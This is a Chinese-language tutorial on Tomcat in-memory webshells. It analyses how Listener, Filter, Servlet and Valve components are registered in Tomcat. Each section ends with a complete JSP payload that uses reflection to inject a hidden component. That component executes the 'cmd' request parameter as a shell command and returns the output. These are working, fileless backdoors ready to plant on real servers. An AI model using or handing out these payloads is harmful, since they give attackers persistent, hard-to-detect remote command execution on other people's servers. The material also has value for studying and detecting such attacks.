前言
自己简单搭建一个Tomcat项目,IDEA里选择JavaEE,勾上web就行了
加个依赖(这样就能找到三个Context了:
<dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.16</version> </dependency>
Tomcat的三个Context
ServletContext
ServletContext是Servlet规范中规定的ServletContext接口,一般servlet都要实现这个接口。大概就是规定了如果要实现一个WEB容器,他的Context里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的servlet等
ApplicationContext
在Tomcat中,ServletContext规范的实现是ApplicationContext,因为门面模式的原因,实际套了一层ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章,简单来讲就是加一层包装。
其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等
StandardContext
StandardContext存在于org.apache.catalina.core.StandardContext
实际上研究ApplicationContext的代码会发现,ApplicationContext所实现的方法其实都是调用的this.context中的方法,而这个this.context就是一个实例化的StandardContext对象
StandardContext是Tomcat中真正起作用的Context,负责跟Tomcat的底层交互,ApplicationContext其实更像对StandardContext的一种封装。用下面这张图来展示一下其中的关系:

Listen型内存马分析
前置内容

由图可知,最先接受请求并处理的就是Listen,这时候就可以在监听时,运行恶意代码,注入内存马。
Listen分为这几种:
- ServletContext,服务器启动和终止时触发
- Session,有关Session操作时触发
- Request,访问服务时触发
Requset是最好触发和注入内存马的种类,只需要访问即可rce,在tomcat中Listen需实现两个接口LifecycleListener和EventListener,由于实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还不能被解析,所以我们重点看EventListener

ServletRequestListener接口继承了它,因此我们只需要用ServletRequestListener即可servletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法
举个例子:
package com.example.tomcat_memoryma; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; public class Listener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre){ System.out.println("执行了Test requestDestroyed"); } public void requestInitialized(ServletRequestEvent sre) { System.out.println("执行力Test requestInitialized"); } }
web.xml注册一下
<listener> <listener-class>com.example.tomcat_memoryma.Listener</listener-class> </listener>
此时我们随便访问都会触发Listener


先Initialize后Destroy
流程分析
requestInitialized处下个断点,然后debug启动服务,就能看见调用栈了
反向溯源一下

在StandardContext中调用了listener.requestInitialized,往上看可以知道listener是从instance数组里的元素,instance是getApplicationEventListeners()的返回值,继续看上一个调用栈

在StandardHostValue中调用了fireRequestInitEvent,而fireRequestInitEvent中调用了getApplicationEventListeners(),而getApplicationEventListeners()就是StandardContext中的一个方法,所以利用思路就是获取StandardContext来调用getApplicationEventListeners(),进而添加恶意监听器
StandardContext对象获取
方式一
通过request对象来获取
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Listener listener = new Listener(); standardContext.addApplicationEventListener(listener); %>
首先根据request对象反射获取request属性,然后再调用getContext方法获取StandardContext对象,溯源就可以发现StandardContext是Context的实现类,getContext方法返回的就是一个Context对象
方式二
通过Thread来获取
WebappClassLoader webappClassLoader = (WebappClassLoader) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoader.getResources().getContext();
和上面的原理一样,也是一步步往上去找,会发现都对应了起来
内存马分析
根据这两种方法可以写出Listen型内存马
<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%! public class MyListener implements ServletRequestListener { //定义了一个Listen监听Servlet的销毁事件 public void requestDestroyed(ServletRequestEvent sre) { //获取HttpServletRequest对象,用于RCE HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null){ InputStream in = null; try { //指令结果的输入流 in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream(); /* scanner.useDelimiter命令在于设置当前scanner的分隔符,默认是空格,\A为正则表达式,表示从字符头开始 这条语句的整体意思就是读取所有输入,包括回车换行符 */ Scanner s = new Scanner(in).useDelimiter("\A"); //获得结果 String out = s.hasNext()?s.next():""; //获取request对象 Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); //回显技术 request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } public void requestInitialized(ServletRequestEvent sre) {} } %> <%//添加恶意Listener Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener listenerDemo = new MyListener(); //在这里调用StandardContext进行添加 context.addApplicationEventListener(listenerDemo); %>

Filter型内存马分析
按照上面所讲的正常流程,Listen过后就是经过Filter过滤器处理请求,和Listen对应,Filter肯定也可以注入内存马,因为Filter有doFilter方法,用来将请求放行
Filter调用示例
准备一个简单的filter示例:
package com.example.tomcat_memoryma; import javax.servlet.*; import java.io.IOException; public class FilterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter 初始化"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { System.out.println("doFilter 过滤"); // 放行 chain.doFilter(request,response); } @Override public void destroy(){ System.out.println("filter 销毁"); } }
在web.xml中注册Filter
<filter> <filter-name>FilterDemo</filter-name> <filter-class>com.example.tomcat_memoryma.FilterDemo</filter-class> </filter> <filter-mapping> <filter-name>FilterDemo</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
启动web服务

关闭web服务

doFilter处下个断点,debug启动,看调用栈

最后一步是在ApplicationFilterChain类中调用了doFilter方法,并且通过一个ApplicationFilterConfig对象来获取所有的filters

溯源发现filters是一个ApplicationFilterConfig[]对象数组

继续往回走,该类调用了internalDoFilter方法

再往回走,在StandrdWrapperValue类中调用了filterChain.doFilter

这个filterChain中存放的就是我们所定义的filter,可以看到filter是一个ApplicationFIlterConfig类型的数组

接下来分析一下createFilterChain是如何将我们的filter添加进ApplicationFIlterConfig的,首先先获取了Request对象,实际上就是一个HttpServlet,然后通过HttpServlet获取了Filterchain

往后看,用StandardContext获取了FilterMap数组

后面通过FilterMap获取道filterConfig并放入到filterChain中
跟进addFilter,在这做的事情其实和上一步一样,遍历filter然后放入ApplicationFilterConfig[]中,这个filters数组就是上面说的ApplicationFilterConfig[]数组对象,通过调试可以发现有几个比较显眼的对象名称:
- filterMaps拿名字
- filterConfigs拿过滤器(值)
这两个变量在StandradContext中都有定义,其中还有个filterDefs也是一个重要变量,这个后续会讲:

FilterMap
FilterMap可以通过StandardContext去添加


FilterConfigs
StandardContext当然也存在对FilterConfigs操作的方法

其中调用了filterConfigs.put方法添加,从源码不难看懂这是初始化时候做的事情,所以我们这里打个断点,重新启动一下。filterDefs中存放了我们的TestFilter和TestFIlter的过滤器,遍历filterDefs,拿到了key(Testfilter)和value,之后通过new一个ApplicationConfig将值存入filterConfig中:

FilterDefs
通过分析,其实发现filterdefs才是真正存放了filter的地方,在StandradContext中也有添加filterDefs的方法:

可以想到,tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量,其中filter-mapping对应着filterMap

内存马分析
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "F12"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //以上步骤用于获取StandardContext Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); //反射获取filterconfig if (filterConfigs.get(name) == null){ //开始添加Filter过滤器 Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; //定义了恶意的FIlter过滤器,在dofilter方法执行恶意代码 if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); /** * 添加FilterMap */ Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); /** * 反射获取ApplicationFilterConfig对象,往filterConfigs中放入filterConfig */ out.print("Inject Success !"); } %>
以上唯一需要注意的点就是filterMap.setDispatcher(DispatcherType.REQUEST.name());,我们在分析流程的时候是没有见过这个Dispatch的,这是一个坑点

filterMaps里有dispatcherMapping这个属性,在FilterMap中也有这个
在这里设置成REQUEST就行,这样我们就能通过request命令执行
注意我是在windows下运行的,所以上面内存马改一下,把bash换成cmd,-c换成/c


Servlet型内存马
准备一个servlet例子:
package com.example.tomcat_memoryma; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; public class HelloServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.getWriter().write("Hello World"); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } }
在web.xml注册
<servlet> <servlet-name>HelloServlet</servlet-name> <servlet-class>com.example.tomcat_memoryma.HelloServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloServlet</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping>

创建StandardWrapper
在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们在此下断点跟进:

在ContextConfig#webConfig()解析了xml文件,然后调用了configureContext

跟进,可以看到前面的一些操作是对listen,filter的,按顺序来到对servlet的处理
......... for (ServletDef servlet : webxml.getServlets().values()) { //创建StandardWrapper对象 Wrapper wrapper = context.createWrapper(); // Description is ignored // Display name is ignored // Icons are ignored // jsp-file gets passed to the JSP Servlet as an init-param if (servlet.getLoadOnStartup() != null) { //设置LoadOnStartup属性 wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } //设置ServletName属性 wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } //设置ServletClass属性 wrapper.setServletClass(servlet.getServletClass()); MultipartDef multipartdef = servlet.getMultipartDef(); if (multipartdef != null) { long maxFileSize = -1; long maxRequestSize = -1; int fileSizeThreshold = 0; if(null != multipartdef.getMaxFileSize()) { maxFileSize = Long.parseLong(multipartdef.getMaxFileSize()); } if(null != multipartdef.getMaxRequestSize()) { maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize()); } if(null != multipartdef.getFileSizeThreshold()) { fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold()); } wrapper.setMultipartConfigElement(new MultipartConfigElement( multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold)); } if (servlet.getAsyncSupported() != null) { wrapper.setAsyncSupported( servlet.getAsyncSupported().booleanValue()); } wrapper.setOverridable(servlet.isOverridable()); //将包装好的StandWrapper添加进ContainerBase的children属性中 context.addChild(wrapper); } for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); }
最后用了context.addServletMappingDecoded加了对应的路由:

加载StandardWrapper
最后在StandardContext的findChildren获取到了StandardWrapper类
往下走就是一个加载流程,listen->filter->servlet,通过loadOnstartup()方法加载我们的wrapper
public boolean loadOnStartup(Container children[]) { // Collect "load on startup" servlets that need to be initialized TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); //判断属性loadOnStartup的值,因此这里应该大于0 if (loadOnStartup < 0) { continue; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null) { list = new ArrayList<>(); map.put(key, list); } list.add(wrapper); } // Load the collected "load on startup" servlets for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); } catch (ServletException e) { getLogger().error(sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()), StandardWrapper.getRootCause(e)); // NOTE: load errors (including a servlet that throws // UnavailableException from the init() method) are NOT // fatal to application startup // unless failCtxIfServletStartFails="true" is specified if(getComputedFailCtxIfServletStartFails()) { return false; } } } } return true; }
上面有个判断loadOnStartup的值需要大于0才会继续去加载,这里的loadOnStartup对应servlet的懒加载机制(通过注解来设置路由等等),默认值为-1,此时只有当servlet被调用时Servlet才会被加载到内存中
内存马分析
通过上文的分析我们能够总结出创建Servlet的流程
- 获取StandardContext对象
- 编写恶意Servlet
- 通过StandardContext.createWrapper()创建StandardWrapper对象
- 设置StandardWrapper对象的loadOnStartup属性值
- 设置StandardWrapper对象的ServletName属性值
- 设置StandardWrapper对象的ServletClass属性值
- 将StandardWrapper对象添加进StandardContext对象的children属性中
- 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); //获取StandardContext %> <%! //编写恶意的Servlet public class Shell_Servlet implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; //普通回显 PrintWriter out = res.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } } %> <% //获取Wrapper并且将我们的Servlet放入Wrapper中 Shell_Servlet shell_servlet = new Shell_Servlet(); String name ="F12"; Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); //这里获取的是类名称org.apache.jsp.servlet_jsp$Shell_Servlet %> <% //将wrapper添加进StandardContext standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell",name); %>

Valve型内存马
前置知识
参考:
https://xz.aliyun.com/t/11988#toc-19
valve是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器
Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):
Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
其实上述的话可以用下面这张图很好的概括:

在四个组件中都有pipeline,而储存在pipeline中的就是对应的Valve,我们可以创建一个demo分析一下:
package com.example.tomcat_memoryma; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.StandardContext; import org.apache.catalina.valves.ValveBase; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Field; class EvilValve extends ValveBase{ @Override public void invoke(Request request, Response response) throws IOException, ServletException { System.out.println("111"); try { Runtime.getRuntime().exec(request.getParameter("cmd")); } catch (Exception e) { } } } public class TestValve extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { Field reqF = req.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request request = (Request) reqF.get(req); StandardContext standardContext = (StandardContext) request.getContext(); standardContext.getPipeline().addValve(new EvilValve()); resp.getWriter().write("inject success"); } catch (Exception e) { } } }
在web.xml注册
<servlet> <servlet-name>TestValve</servlet-name> <servlet-class>com.example.tomcat_memoryma.TestValve</servlet-class> </servlet> <servlet-mapping> <servlet-name>TestValve</servlet-name> <url-pattern>/valve</url-pattern> </servlet-mapping>
在invoke处打个断点调试,可以看到调用栈里很多valve,看第一个调用的valve:StandardEngineValve

在这里获取了第一个valve,接下来就是按顺序不断的获取value,从这里可以发现,value链是通过invoke方法进行放行的,当前value的invoke执行后就会执行下一个value的invoke方法,我们进一步溯源:

从上面这张图可以看到获取组件的顺序,先获取Container在获取pipeline最后获取valve并且在StandardPipeline中有方法addvalue:

这样我们的注入思路就有了
获取Context
Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext();
获取pipeline
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline"); pipelineField.setAccessible(true); StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
创建恶意valve并且添加进standardpipeline
ValveBase valveBase = new ValveBase() { @Override public void invoke(Request request, Response response){ try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } }; standardPipeline1.addValve(valveBase); this.getNext().invoke(request, response);
这里为了让程序继续执行下去,恶意value类也必须要调用下一个value的invoke方法,否则无法正常进行
内存马分析
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext(); Field pipelineField = ContainerBase.class.getDeclaredField("pipeline"); pipelineField.setAccessible(true); StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext); ValveBase valveBase = new ValveBase() { @Override public void invoke(Request request, Response response) throws ServletException,IOException { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); this.getNext().invoke(request, response); } } }; standardPipeline1.addValve(valveBase); out.println("evil valve inject done!"); %>

valve内存马的一个缺点就是让其它jsp文件失效了,我测试是这样的